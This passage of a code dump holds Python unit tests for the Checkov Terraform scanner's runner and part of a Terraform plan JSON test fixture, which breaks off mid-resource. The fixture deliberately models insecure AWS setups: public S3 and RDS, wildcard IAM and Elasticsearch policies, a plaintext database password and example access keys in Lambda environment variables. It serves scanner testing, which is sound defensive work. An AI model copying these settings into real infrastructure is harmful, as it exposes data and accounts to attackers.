runner.run(root_folder=resources_path, external_checks_dir=None, runner_filter=RunnerFilter(framework='terraform')) file_path = os.path.join(resources_path, 'main.tf') self.assertEqual(report.parsing_errors[0], file_path) def test_runner_scan_hcl(self): current_dir = os.path.dirname(os.path.realpath(__file__)) dir_to_scan = os.path.join(current_dir, 'resources', 'tf_with_hcl_files') runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=dir_to_scan, external_checks_dir=None, files=None) self.assertEqual(len(report.resources), 2) def test_runner_scan_hcl_file(self): current_dir = os.path.dirname(os.path.realpath(__file__)) file_to_scan = os.path.join(current_dir, 'resources', 'tf_with_hcl_files', 'example_acl_fail.hcl') runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=None, external_checks_dir=None, files=[file_to_scan]) self.assertEqual(len(report.resources), 1) def test_runner_exclude_file(self): current_dir = os.path.dirname(os.path.realpath(__file__)) path_to_scan = os.path.join(current_dir, 'resources', 'nested_dir', 'dir1') runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=path_to_scan, external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform"], excluded_paths=['example.tf'])) self.assertEqual(0, len(report.resources)) def test_runner_exclude_dir(self): current_dir = os.path.dirname(os.path.realpath(__file__)) path_to_scan = os.path.join(current_dir, 'resources', 'nested_dir') runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=path_to_scan, external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform"], excluded_paths=['dir1'])) self.assertEqual(1, len(report.resources)) def test_runner_merge_operator(self): current_dir = os.path.dirname(os.path.realpath(__file__)) tf_dir_path = current_dir + "/resources/merge_operator" extra_checks_dir_path = [current_dir + "/resources/merge_operator/query"] runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=tf_dir_path, external_checks_dir=extra_checks_dir_path, runner_filter=RunnerFilter(checks=["CKV2_AWS_200"])) self.assertEqual(1, len(report.passed_checks)) def test_record_includes_severity(self): custom_check_id = "MY_CUSTOM_CHECK" resource_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["aws_s3_bucket"] ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.LOW] scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "valid_tf_only_failed_checks", "example_acl_fail.tf") report = Runner(db_connector=self.db_connector()).run( None, files=[scan_file_path], runner_filter=RunnerFilter(framework=['terraform'], checks=[custom_check_id]) ) self.assertEqual(report.failed_checks[0].severity, Severities[BcSeverities.LOW]) def test_severity_check_filter_omit(self): custom_check_id = "MY_CUSTOM_CHECK" resource_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["aws_s3_bucket"] ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.LOW] scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "valid_tf_only_failed_checks", "example_acl_fail.tf") report = Runner(db_connector=self.db_connector()).run( None, files=[scan_file_path], runner_filter=RunnerFilter(framework=['terraform'], checks=['MEDIUM']) ) all_checks = report.failed_checks + report.passed_checks self.assertFalse(any(c.check_id == custom_check_id for c in all_checks)) @mock.patch("checkov.common.runners.base_runner.ignored_directories", ['dir1']) def test_runner_ignore_dirs(self): """CKV_IGNORED_DIRECTORIES='dir1' and CKV_IGNORE_HIDDEN_DIRECTORIES=True (default)""" report = self.scan_hidden_dir() self.assertEqual(len(report.resources), 1) @mock.patch("checkov.common.runners.base_runner.ignored_directories", ['dir1']) @mock.patch("checkov.common.runners.base_runner.IGNORE_HIDDEN_DIRECTORY_ENV", 0) def test_runner_scan_hidden_dirs_and_ignore_dirs(self): """CKV_IGNORED_DIRECTORIES='dir1' and CKV_IGNORE_HIDDEN_DIRECTORIES=False""" report = self.scan_hidden_dir() self.assertEqual(len(report.resources), 3) def test_runner_scan_default_env_vars(self): """CKV_IGNORED_DIRECTORIES and CKV_IGNORE_HIDDEN_DIRECTORIES are equal to default""" report = self.scan_hidden_dir() self.assertEqual(len(report.resources), 2) @mock.patch("checkov.common.runners.base_runner.IGNORE_HIDDEN_DIRECTORY_ENV", 0) def test_runner_scan_hidden_dirs(self): """CKV_IGNORE_HIDDEN_DIRECTORIES=False and CKV_IGNORED_DIRECTORIES equals to default value""" report = self.scan_hidden_dir() self.assertEqual(len(report.resources), 5) def scan_hidden_dir(self): """ scan resources/hidden_dir directory.""" current_dir = os.path.dirname(os.path.realpath(__file__)) path_to_scan = os.path.join(current_dir, 'resources', 'hidden_dir') runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=path_to_scan, external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform"])) return report def test_severity_check_filter(self): custom_check_id = "MY_CUSTOM_CHECK" resource_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["aws_s3_bucket"] ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.MEDIUM] scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "valid_tf_only_failed_checks", "example_acl_fail.tf") report = Runner(db_connector=self.db_connector()).run( None, files=[scan_file_path], runner_filter=RunnerFilter(framework=['terraform'], checks=['MEDIUM']) ) all_checks = report.failed_checks + report.passed_checks self.assertTrue(any(c.check_id == custom_check_id for c in all_checks)) def test_severity_skip_check_filter_omit(self): custom_check_id = "MY_CUSTOM_CHECK" resource_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["aws_s3_bucket"] ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.LOW] scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "valid_tf_only_failed_checks", "example_acl_fail.tf") report = Runner(db_connector=self.db_connector()).run( None, files=[scan_file_path], runner_filter=RunnerFilter(framework=['terraform'], skip_checks=['MEDIUM']) ) all_checks = report.failed_checks + report.passed_checks self.assertFalse(any(c.check_id == custom_check_id for c in all_checks)) def test_severity_skip_check_filter_include(self): custom_check_id = "MY_CUSTOM_CHECK" resource_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["aws_s3_bucket"] ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.HIGH] scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "valid_tf_only_failed_checks", "example_acl_fail.tf") report = Runner(db_connector=self.db_connector()).run( None, files=[scan_file_path], runner_filter=RunnerFilter(framework=['terraform'], skip_checks=['MEDIUM']) ) all_checks = report.failed_checks + report.passed_checks self.assertTrue(any(c.check_id == custom_check_id for c in all_checks)) @parameterized.expand([ (NetworkxConnector,), (RustworkxConnector,) ]) def test_get_graph_resource_entity_config(self, graph_connector): current_dir = os.path.dirname(os.path.realpath(__file__)) path_to_scan = os.path.join(current_dir, 'resources', 'get_graph_resource_entity_config') graph_manager = TerraformGraphManager(db_connector=graph_connector()) graph, _ = graph_manager.build_graph_from_source_directory(path_to_scan) graph_manager.save_graph(graph) graph_connector = graph_manager.get_reader_endpoint() if isinstance(graph_connector, DiGraph): for _, data in graph_connector.nodes(data=True): config = Runner.get_graph_resource_entity_config(data) self.assertIn(CustomAttributes.TF_RESOURCE_ADDRESS, config) if isinstance(graph_connector, PyDiGraph): for _, data in graph_connector.nodes(): config = Runner.get_graph_resource_entity_config(data) self.assertIn(CustomAttributes.TF_RESOURCE_ADDRESS, config) @mock.patch.dict(os.environ, {"ENABLE_DEFINITION_KEY": "True"}) def test_entity_context_fetching_with_TFDefinitionKey(self): runner = Runner(db_connector=self.db_connector()) full_file_path = TFDefinitionKey( file_path='/tmp/checkov/1069803756901857280/prisma-new-user/TestAutomationRepo_7-30-2023-1-38-24-PM/pr/4/58a43cb0e5daee00398b6c892c9287438c7c74ea/diff/src/file1.tf', tf_source_modules=None) runner.context = {full_file_path: {'resource': {'aws_lb_listener': {'https1': {'start_line': 1, 'end_line': 7, 'code_lines': [[1, 'resource "aws_lb_listener" "https1" {\n'], [2, ' load_balancer_arn = ""\n'], [3, ' protocol = "HTTPS"\n'], [4, ' default_action {\n'], [5, ' type = ""\n'], [6, ' }\n'], [7, '}']], 'skipped_checks': []}}}}} entity_with_found_path = {'block_name_': 'aws_lb_listener.https1', 'block_type_': 'resource', 'file_path_': '/tmp/checkov/1069803756901857280/prisma-new-user/TestAutomationRepo_7-30-2023-1-38-24-PM/pr/4/58a43cb0e5daee00398b6c892c9287438c7c74ea/diff/src/file1.tf', 'config_': {'aws_lb_listener': {'https1': {'__end_line__': 7, '__start_line__': 1, 'default_action': [{'type': ['']}], 'load_balancer_arn': [''], 'protocol': ['HTTPS'], '__address__': 'aws_lb_listener.https1'}}}, 'attributes_': {'__end_line__': 7, '__start_line__': 1, 'default_action': {'type': ''}, 'load_balancer_arn': [''], 'protocol': ['HTTPS'], 'resource_type': ['aws_lb_listener'], 'default_action.type': '', '__address__': 'aws_lb_listener.https1'}, 'label_': 'resource: aws_lb_listener.https1', 'id_': 'aws_lb_listener.https1', 'customer_name_': '1069803756901857280', 'account_id_': 'prisma-new-user/TestAutomationRepo_7-30-2023-1-38-24-PM/CICD/243676', 'unique_tag_': 'prod', 'source_': 'terraform', 'violations_count_': 0, 'region_': '', '__end_line__': 7, '__start_line__': 1, 'default_action': {'type': ''}, 'default_action.type': '', 'load_balancer_arn': '', 'protocol': 'HTTPS', 'resource_type': 'aws_lb_listener', '__address__': 'aws_lb_listener.https1', 'module_dependency_': '', 'module_dependency_num_': '', 'hash': 'd61bc3a35537776896f83679a51e63d3a6074f66b368bc4fea07871d282875e9'} entity_context = runner.get_entity_context_and_evaluations(entity_with_found_path) assert entity_context is not None assert entity_context['start_line'] == 1 and entity_context['end_line'] == 7 def test__parse_files(self): for parallel_type in ParallelizationType: if parallel_runner.os == "Windows" and parallel_type == ParallelizationType.FORK: # fork doesn't wok on Windows continue with self.subTest(msg="with parallelization type", parallel_type=parallel_type): # given runner = Runner() runner.definitions = {} example_dir = Path(__file__).parent / "resources/example" example_files = [str(file_path) for file_path in example_dir.rglob("*.tf")] parsing_errors = {} parallel_runner.type = parallel_type # when runner._parse_files(files=example_files, parsing_errors=parsing_errors) # then self.assertEqual(len(runner.definitions), 1) self.assertEqual(len(parsing_errors), 1) def test__parse_files_with_timout(self): for parallel_type in [ParallelizationType.FORK, ParallelizationType.SPAWN, ParallelizationType.NONE]: if parallel_runner.os == "Windows" and parallel_type == ParallelizationType.FORK: # fork doesn't wok on Windows continue with self.subTest(msg="with parallelization type", parallel_type=parallel_type): # given runner = Runner() runner.definitions = {} example_dir = Path(__file__).parent / "resources/hcl_timeout" example_files = [str(file_path) for file_path in example_dir.rglob("*.tf")] parsing_errors = {} parallel_runner.type = parallel_type # when runner._parse_files(files=example_files, parsing_errors=parsing_errors) # then self.assertEqual(len(runner.definitions), 0) self.assertEqual(len(parsing_errors), 1) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/runner/tf_plan_skip_check_regex/resource/skip_directory/tfplan2.json ================================================ { "format_version": "0.1", "terraform_version": "0.12.23", "variables": { "ami": { "value": "ami-09a5b0b7edf08843d" }, "availability_zone": { "value": "us-west-2a" }, "availability_zone2": { "value": "us-west-2b" }, "company_name": { "value": "acme" }, "dbname": { "value": "db1" }, "environment": { "value": "corp" }, "neptune-dbname": { "value": "neptunedb1" }, "password": { "value": "Aa1234321Bb" }, "profile": { "value": "default" }, "region": { "value": "us-west-2" } }, "planned_values": { "outputs": { "db_app_public_dns": { "sensitive": false }, "db_endpoint": { "sensitive": false }, "ec2_public_dns": { "sensitive": false }, "endpoint": { "sensitive": false }, "kubeconfig-certificate-authority-data": { "sensitive": false }, "public_subnet": { "sensitive": false }, "public_subnet2": { "sensitive": false }, "secret": { "sensitive": false }, "username": { "sensitive": false, "value": "123456789123-acme-corp-user" }, "vpc_id": { "sensitive": false } }, "root_module": { "resources": [ { "address": "aws_db_instance.default", "mode": "managed", "type": "aws_db_instance", "name": "default", "provider_name": "aws", "schema_version": 1, "values": { "allocated_storage": 20, "allow_major_version_upgrade": null, "apply_immediately": true, "auto_minor_version_upgrade": true, "backup_retention_period": 0, "copy_tags_to_snapshot": false, "db_subnet_group_name": "sg-123456789123-acme-corp", "delete_automated_backups": true, "deletion_protection": null, "domain": null, "domain_iam_role_name": null, "enabled_cloudwatch_logs_exports": null, "engine": "mysql", "engine_version": "8.0", "final_snapshot_identifier": null, "iam_database_authentication_enabled": null, "identifier": "rds-123456789123-acme-corp", "instance_class": "db.t3.micro", "iops": null, "max_allocated_storage": null, "monitoring_interval": 0, "multi_az": false, "name": "db1", "option_group_name": "og-123456789123-acme-corp", "parameter_group_name": "pg-123456789123-acme-corp", "password": "Aa1234321Bb", "performance_insights_enabled": false, "publicly_accessible": true, "replicate_source_db": null, "s3_import": [], "security_group_names": null, "skip_final_snapshot": true, "snapshot_identifier": null, "storage_encrypted": false, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-rds" }, "timeouts": null, "username": "admin" } }, { "address": "aws_db_option_group.default", "mode": "managed", "type": "aws_db_option_group", "name": "default", "provider_name": "aws", "schema_version": 0, "values": { "engine_name": "mysql", "major_engine_version": "8.0", "name": "og-123456789123-acme-corp", "option": [], "option_group_description": "Terraform OG", "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-og" }, "timeouts": null } }, { "address": "aws_db_parameter_group.default", "mode": "managed", "type": "aws_db_parameter_group", "name": "default", "provider_name": "aws", "schema_version": 0, "values": { "description": "Terraform PG", "family": "mysql8.0", "name": "pg-123456789123-acme-corp", "parameter": [ { "apply_method": "immediate", "name": "character_set_client", "value": "utf8" }, { "apply_method": "immediate", "name": "character_set_server", "value": "utf8" } ], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-pg" } } }, { "address": "aws_db_subnet_group.default", "mode": "managed", "type": "aws_db_subnet_group", "name": "default", "provider_name": "aws", "schema_version": 0, "values": { "description": "Terraform DB Subnet Group", "name": "sg-123456789123-acme-corp", "tags": { "Environment": "123456789123-acme-corp", "Name": "sg-123456789123-acme-corp" } } }, { "address": "aws_ebs_snapshot.example_snapshot", "mode": "managed", "type": "aws_ebs_snapshot", "name": "example_snapshot", "provider_name": "aws", "schema_version": 0, "values": { "description": "123456789123-acme-corp-ebs-snapshot", "tags": { "Name": "123456789123-acme-corp-ebs-snapshot" }, "timeouts": null } }, { "address": "aws_ebs_volume.web_host_storage", "mode": "managed", "type": "aws_ebs_volume", "name": "web_host_storage", "provider_name": "aws", "schema_version": 0, "values": { "availability_zone": "us-west-2a", "multi_attach_enabled": null, "outpost_arn": null, "size": 1, "tags": { "Name": "123456789123-acme-corp-ebs" } } }, { "address": "aws_ecr_repository.repository", "mode": "managed", "type": "aws_ecr_repository", "name": "repository", "provider_name": "aws", "schema_version": 0, "values": { "encryption_configuration": [], "image_scanning_configuration": [], "image_tag_mutability": "MUTABLE", "name": "123456789123-acme-corp-repository", "tags": { "Name": "123456789123-acme-corp-repository" }, "timeouts": null } }, { "address": "aws_eks_cluster.eks_cluster", "mode": "managed", "type": "aws_eks_cluster", "name": "eks_cluster", "provider_name": "aws", "schema_version": 0, "values": { "enabled_cluster_log_types": null, "encryption_config": [], "name": "123456789123-acme-corp-eks", "tags": null, "timeouts": null, "vpc_config": [ { "endpoint_private_access": true, "endpoint_public_access": true, "security_group_ids": null } ] } }, { "address": "aws_elasticsearch_domain.monitoring-framework", "mode": "managed", "type": "aws_elasticsearch_domain", "name": "monitoring-framework", "provider_name": "aws", "schema_version": 0, "values": { "cluster_config": [ { "dedicated_master_count": null, "dedicated_master_enabled": false, "dedicated_master_type": null, "instance_count": 1, "instance_type": "t2.small.elasticsearch", "warm_count": null, "warm_enabled": null, "warm_type": null, "zone_awareness_config": [], "zone_awareness_enabled": null } ], "cognito_options": [], "domain_name": "tg-corp-es", "ebs_options": [ { "ebs_enabled": true, "iops": null, "volume_size": 30 } ], "elasticsearch_version": "2.3", "log_publishing_options": [], "snapshot_options": [], "tags": null, "timeouts": null, "vpc_options": [] } }, { "address": "aws_elasticsearch_domain_policy.monitoring-framework-policy", "mode": "managed", "type": "aws_elasticsearch_domain_policy", "name": "monitoring-framework-policy", "provider_name": "aws", "schema_version": 0, "values": { "access_policies": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"es:*\",\n \"Resource\": \"*\",\n \"Principal\": {\n \"AWS\": \"*\"\n }\n }\n ]\n}", "domain_name": "tg-corp-es" } }, { "address": "aws_elb.weblb", "mode": "managed", "type": "aws_elb", "name": "weblb", "provider_name": "aws", "schema_version": 0, "values": { "access_logs": [], "connection_draining": true, "connection_draining_timeout": 400, "cross_zone_load_balancing": true, "health_check": [ { "healthy_threshold": 2, "interval": 30, "target": "HTTP:8000/", "timeout": 3, "unhealthy_threshold": 2 } ], "idle_timeout": 400, "listener": [ { "instance_port": 8000, "instance_protocol": "http", "lb_port": 80, "lb_protocol": "http", "ssl_certificate_id": "" } ], "name": "weblb-terraform-elb", "name_prefix": null, "tags": { "Name": "foobar-terraform-elb" } } }, { "address": "aws_flow_log.vpcflowlogs", "mode": "managed", "type": "aws_flow_log", "name": "vpcflowlogs", "provider_name": "aws", "schema_version": 0, "values": { "eni_id": null, "iam_role_arn": null, "log_destination_type": "s3", "max_aggregation_interval": 600, "subnet_id": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-flowlogs" }, "traffic_type": "ALL" } }, { "address": "aws_iam_access_key.user", "mode": "managed", "type": "aws_iam_access_key", "name": "user", "provider_name": "aws", "schema_version": 0, "values": { "pgp_key": null, "user": "123456789123-acme-corp-user" } }, { "address": "aws_iam_instance_profile.ec2profile", "mode": "managed", "type": "aws_iam_instance_profile", "name": "ec2profile", "provider_name": "aws", "schema_version": 0, "values": { "name": "123456789123-acme-corp-profile", "name_prefix": null, "path": "/", "role": "123456789123-acme-corp-role" } }, { "address": "aws_iam_role.ec2role", "mode": "managed", "type": "aws_iam_role", "name": "ec2role", "provider_name": "aws", "schema_version": 0, "values": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-role", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-role" } } }, { "address": "aws_iam_role.iam_for_eks", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_eks", "provider_name": "aws", "schema_version": 0, "values": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"eks.amazonaws.com\"\n }\n }\n ]\n}", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-iam-for-eks", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": null } }, { "address": "aws_iam_role.iam_for_lambda", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_lambda", "provider_name": "aws", "schema_version": 0, "values": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"lambda.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-analysis-lambda", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": null } }, { "address": "aws_iam_role_policy.ec2policy", "mode": "managed", "type": "aws_iam_role_policy", "name": "ec2policy", "provider_name": "aws", "schema_version": 0, "values": { "name": "123456789123-acme-corp-policy", "name_prefix": null, "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"s3:*\",\n \"ec2:*\",\n \"rds:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n" } }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSClusterPolicy", "provider_name": "aws", "schema_version": 0, "values": { "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSClusterPolicy", "role": "123456789123-acme-corp-iam-for-eks" } }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSServicePolicy", "provider_name": "aws", "schema_version": 0, "values": { "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSServicePolicy", "role": "123456789123-acme-corp-iam-for-eks" } }, { "address": "aws_iam_user.user", "mode": "managed", "type": "aws_iam_user", "name": "user", "provider_name": "aws", "schema_version": 0, "values": { "force_destroy": true, "name": "123456789123-acme-corp-user", "path": "/", "permissions_boundary": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-user" } } }, { "address": "aws_iam_user_policy.userpolicy", "mode": "managed", "type": "aws_iam_user_policy", "name": "userpolicy", "provider_name": "aws", "schema_version": 0, "values": { "name": "excess_policy", "name_prefix": null, "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"ec2:*\",\n \"s3:*\",\n \"lambda:*\",\n \"cloudwatch:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n", "user": "123456789123-acme-corp-user" } }, { "address": "aws_instance.db_app", "mode": "managed", "type": "aws_instance", "name": "db_app", "provider_name": "aws", "schema_version": 1, "values": { "ami": "ami-0f0a6d00932023856", "credit_specification": [], "disable_api_termination": null, "ebs_optimized": null, "get_password_data": false, "hibernation": null, "iam_instance_profile": "123456789123-acme-corp-profile", "instance_initiated_shutdown_behavior": null, "instance_type": "t2.nano", "monitoring": null, "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-dbapp" }, "timeouts": null, "user_data_base64": null } }, { "address": "aws_instance.web_host", "mode": "managed", "type": "aws_instance", "name": "web_host", "provider_name": "aws", "schema_version": 1, "values": { "ami": "ami-09a5b0b7edf08843d", "credit_specification": [], "disable_api_termination": null, "ebs_optimized": null, "get_password_data": false, "hibernation": null, "iam_instance_profile": null, "instance_initiated_shutdown_behavior": null, "instance_type": "t2.nano", "monitoring": null, "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-ec2" }, "timeouts": null, "user_data": "44c6c808e6449ee36dfcfc4ebd66c1b9634b40f2", "user_data_base64": null } }, { "address": "aws_internet_gateway.web_igw", "mode": "managed", "type": "aws_internet_gateway", "name": "web_igw", "provider_name": "aws", "schema_version": 0, "values": { "tags": { "Name": "123456789123-acme-corp-igw" } } }, { "address": "aws_kms_alias.logs_key_alias", "mode": "managed", "type": "aws_kms_alias", "name": "logs_key_alias", "provider_name": "aws", "schema_version": 0, "values": { "name": "alias/123456789123-acme-corp-logs-bucket-key", "name_prefix": null } }, { "address": "aws_kms_key.logs_key", "mode": "managed", "type": "aws_kms_key", "name": "logs_key", "provider_name": "aws", "schema_version": 0, "values": { "customer_master_key_spec": "SYMMETRIC_DEFAULT", "deletion_window_in_days": 7, "description": "123456789123-acme-corp-logs bucket key", "enable_key_rotation": false, "is_enabled": true, "key_usage": "ENCRYPT_DECRYPT", "tags": null } }, { "address": "aws_lambda_function.analysis_lambda", "mode": "managed", "type": "aws_lambda_function", "name": "analysis_lambda", "provider_name": "aws", "schema_version": 0, "values": { "dead_letter_config": [], "description": null, "environment": [ { "variables": { "access_key": "AKIAIOSFODNN7EXAMPLE", "secret_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" } } ], "file_system_config": [], "filename": "resources/lambda_function_payload.zip", "function_name": "123456789123-acme-corp-analysis", "handler": "exports.test", "kms_key_arn": null, "layers": null, "memory_size": 128, "publish": false, "reserved_concurrent_executions": -1, "runtime": "nodejs12.x", "s3_bucket": null, "s3_key": null, "s3_object_version": null, "source_code_hash": "Fne61Y/F2pmVywaVqIYcztFMK3LNeMJKpWFNnxDdGTw=", "tags": null, "timeout": 3, "timeouts": null, "vpc_config": [] } }, { "address": "aws_neptune_cluster.default", "mode": "managed", "type": "aws_neptune_cluster", "name": "default", "provider_name": "aws", "schema_version": 0, "values": { "apply_immediately": true, "backup_retention_period": 5, "cluster_identifier": "neptunedb1", "deletion_protection": null, "enable_cloudwatch_logs_exports": null, "engine": "neptune", "final_snapshot_identifier": null, "iam_database_authentication_enabled": false, "iam_roles": null, "neptune_cluster_parameter_group_name": "default.neptune1", "port": 8182, "preferred_backup_window": "07:00-09:00", "replication_source_identifier": null, "skip_final_snapshot": true, "snapshot_identifier": null, "storage_encrypted": false, "tags": null, "timeouts": null } }, { "address": "aws_neptune_cluster_instance.default[0]", "mode": "managed", "type": "aws_neptune_cluster_instance", "name": "default", "index": 0, "provider_name": "aws", "schema_version": 0, "values": { "apply_immediately": true, "auto_minor_version_upgrade": true, "engine": "neptune", "instance_class": "db.t3.medium", "neptune_parameter_group_name": "default.neptune1", "port": 8182, "promotion_tier": 0, "publicly_accessible": false, "tags": null, "timeouts": null } }, { "address": "aws_neptune_cluster_snapshot.default", "mode": "managed", "type": "aws_neptune_cluster_snapshot", "name": "default", "provider_name": "aws", "schema_version": 0, "values": { "db_cluster_snapshot_identifier": "resourcetestsnapshot1", "timeouts": null } }, { "address": "aws_network_interface.web-eni", "mode": "managed", "type": "aws_network_interface", "name": "web-eni", "provider_name": "aws", "schema_version": 0, "values": { "description": null, "private_ips": [ "172.16.10.100" ], "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-primary_network_interface" } } }, { "address": "aws_route.public_internet_gateway", "mode": "managed", "type": "aws_route", "name": "public_internet_gateway", "provider_name": "aws", "schema_version": 0, "values": { "destination_cidr_block": "0.0.0.0/0", "destination_ipv6_cidr_block": null, "timeouts": { "create": "5m", "delete": null }, "transit_gateway_id": null, "vpc_peering_connection_id": null } }, { "address": "aws_route_table.web_rtb", "mode": "managed", "type": "aws_route_table", "name": "web_rtb", "provider_name": "aws", "schema_version": 0, "values": { "tags": { "Name": "123456789123-acme-corp-rtb" } } }, { "address": "aws_route_table_association.rtbassoc", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc", "provider_name": "aws", "schema_version": 0, "values": { "gateway_id": null } }, { "address": "aws_route_table_association.rtbassoc2", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc2", "provider_name": "aws", "schema_version": 0, "values": { "gateway_id": null } }, { "address": "aws_s3_bucket.data", "mode": "managed", "type": "aws_s3_bucket", "name": "data", "provider_name": "aws", "schema_version": 0, "values": { "acl": "public-read", "bucket": "123456789123-acme-corp-data", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-data" }, "website": [] } }, { "address": "aws_s3_bucket.data_science", "mode": "managed", "type": "aws_s3_bucket", "name": "data_science", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "bucket": "123456789123-acme-corp-data-science", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [ { "target_prefix": "log/" } ], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": null, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] } }, { "address": "aws_s3_bucket.financials", "mode": "managed", "type": "aws_s3_bucket", "name": "financials", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "bucket": "123456789123-acme-corp-financials", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-financials" }, "website": [] } }, { "address": "aws_s3_bucket.flowbucket", "mode": "managed", "type": "aws_s3_bucket", "name": "flowbucket", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "bucket": "123456789123-acme-corp-flowlogs", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-flowlogs" }, "website": [] } }, { "address": "aws_s3_bucket.logs", 